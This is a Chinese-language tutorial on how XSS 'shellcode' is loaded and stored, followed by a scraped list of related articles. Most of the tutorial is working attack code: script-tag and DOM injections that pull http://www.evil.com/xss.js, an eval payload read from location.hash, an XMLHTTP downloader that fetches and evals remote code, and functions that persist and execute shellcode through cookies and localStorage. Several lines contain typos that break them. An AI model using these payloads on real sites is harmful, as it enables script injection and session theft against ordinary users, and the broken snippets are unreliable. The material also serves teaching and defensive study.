XSS 跨站脚本攻击之ShellCode的调用
1.ShellCode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码,在XSS跨站脚本中,是指由javascript等脚本编写的XSS利用代码;
2.Exploit,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用工具(或程序),具有一定的攻击性;Exploit往往包含了shellcode
3.POC:即Proof of Concept,是一段证明漏洞存在的程序代码片段;
4.攻击者往往会把shellcode写到远程服务器中,然后使用<script>等标签对其进调用,或者使用一些本地存储对象对其进行存储和调用等
(1)动态调用远程javaScript
**使用<script>标签调用远程javaScript:
"><script src=http://www.evil.com/xss.js></script><
http://www.bug.com/view.php?sort="><script src=http://www.evil.com /xss.js></script><
**基于DOM的方法创建和插入节点,把脚本或HTML注入到网页,实现过程:
var s=document.createElment("script"); //使用createElement()函数创建一个新元素---script
s.src="http://www.evil.com/xss.js"; //把<script>的属性src设置成“http://www.evil.com/xss.js”,xss.js里面写有shellcode代码
document.getElmentsByTagName("head")[0].appendChild(s); //使用getElementByTagName()函数查找并返回文档中第一个元素,然后利用appendChild() 函数调用元素参数s
5.使用window.location.hash
(1)location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的URL,用location.href=URL,就可以直接将页面重定向URL;
(2)location.hash则可以用来获取或设置页面的标签值:
例如:
http://www.bug.com/view.php?sort="><script>evil(location.hash.substr(1))</script>#alert('XSS')
substr()可在字符串中抽取从start下标开始的指定数目的字符,所以location.hash.substr(1)的作用就是抽取“#”符号后边的字符,即alert('XSS')
evil()函数用来计算某个字符串,并执行其中的javaScript代码
那么,evil(location.hash.subsrt(1))的功能就是执行URL的#之后的javaScript代码
6.XSS Downloader:另一种存储和调用shellCode的方法,即将其存储在网站的数据库中,包括网页的信息,文章内容,个人资料等地方,然后再把它们下载下来执行
(1)简单的说,就是打造一个XSS downloader(XSS下载器),事先把shellcode写在网站的某个页面,在利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据;
(2)例如:
function XSS(){
a=new ActiveXObject('Microsoft.XMLHTTP'); //定义一个XSS函数,该函数也就是调用shellcode的主函数
a.Open('get','http://www.bug.com/11221.html',false); //创建一个XMLHTTP对象
a.send();
b=a.responseText; //向http://www.bug.com/11221.html发送一个HTTP请求并获取HTTP响应
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF')))); //用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取出字符串,后用 //unescape函数方法解码执行
}
XSS();
7.备选存储技术:把XSS shellcode存储在客户端本地域中,比如HTTP cookie,Flash共享对象,UserData,localStorage等
(1)在cookie是客户端存储技术中的传统解决方法,存储的容量有限,被限制在4KB以内:
function setShellCodz(codz){
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*60*1000);
document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();
}
(2)另一种存储容器就是Flash共享对象(SO),类似于HTTP Cookie的运用方式,所以也被称为Flash Cookie,SO的存储容量可以达到100KB,并且可以使用任何形式的js对象
缺点是必须使用Flash软件
(3)IE的UserData也可以存储shellcode,UserData是微软专门为IE在系统中开辟的一块存储空间,最少可以存储640KB,缺点是只能在IE上使用
(4)H5提供了两种在客户端存储数据的新方法,包括localStorage和sessionStorage
存储数据的方式是直接给window.localStorage添加一个属性,如:window.localStorage.a
例子:
<script>
localStorage.a="XSS";
document.write(localStorage.a);
if(localStorage.count)
{
localStorage.count=Number(localStorage.count)+ 1;
}else{
localStorage.count=1;
}
document.write(访问次数"+localStorage.count+"time(s).");
</script>
如果要把XSS Shellcode存储在localStorage中:
function setShellCodz(codz){
window.localStorage.setItem("shellcode",codz);
}
执行shellcode:
function getShellCodz(){
eval(window.localStorage.getItem("shellcodz"));
}
XSS 跨站脚本攻击之ShellCode的调用的更多相关文章
- PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)
废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...
- Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)
书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结,如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过 ...
- 解析如何防止XSS跨站脚本攻击
2012-11-20 09:03 (分类:网络安全) 这些规则适用于所有不同类别的XSS跨站脚本攻击,可以通过在服务端执行适当的解码来定位映射的XSS以及存储的XSS,由于XSS也存在很多特殊情况,因 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
随机推荐
- UVA 10815 Andy's First Dictionary ---set
题目链接 题意:输入一个文本,找出所有不同的单词(连续的字母序列),按字典序从小到大输出.单词不区分大小写. 刘汝佳算法竞赛入门经典(第二版)P112 #include <iostream> ...
- 超链接弹出QQ对话框
<a href="tencent://message/?uin=371820621">java技术交流群57388149</a>
- IOS- 02 零碎知识总结
1.UIView,UIViewController,UIWindow和CALayer UIView是什么,做什么:UIView是用来显示内容的,可以处理用户事件 CALayer是什么,做什么:CALa ...
- mysql TIMESTAMP 报错
[Err] 1293 - Incorrect table definition; there can be only one TIMESTAMP column with CURRENT_TIMESTA ...
- October 6th 2016 Week 41st Thursday
The outer world you see is a reflection of your inner self. 你拥有什么样的内心,你就会看到什么样的世界. And we eventually ...
- Redis事件管理(二)
Redis的定时器是自己实现的,不是很复杂.说说具体的实现吧. 定时器的存储维护采用的是普通的单向链表结构,具体节点定义为: /*时间定时器结构体*/ typedef struct aeTimeEve ...
- 容器配置jndi Tomcat为例
context.xml 文件 <Resource name=" password="spsj" type="javax.sql.DataSource&qu ...
- MyString(重写String)
http://wenku.baidu.com/view/d7ac113243323968011c925b.html 已知类String的原型为: class String { public: ...
- postgresql导入及导出
导入命令 psql -d GAME -U postgres -f /root/plubic.sql 出现如下错误: psql: FATAL: Peer authentication failed f ...
- Jmeter 函数
一._csvRead 函数 _cvsRead函数是从外部读取参数,csvRead函数可以从一个文件中读取多个参数. 步骤: 1.先新建一个文件,例如c.txt,里面的数据存放为 web@qq.com, ...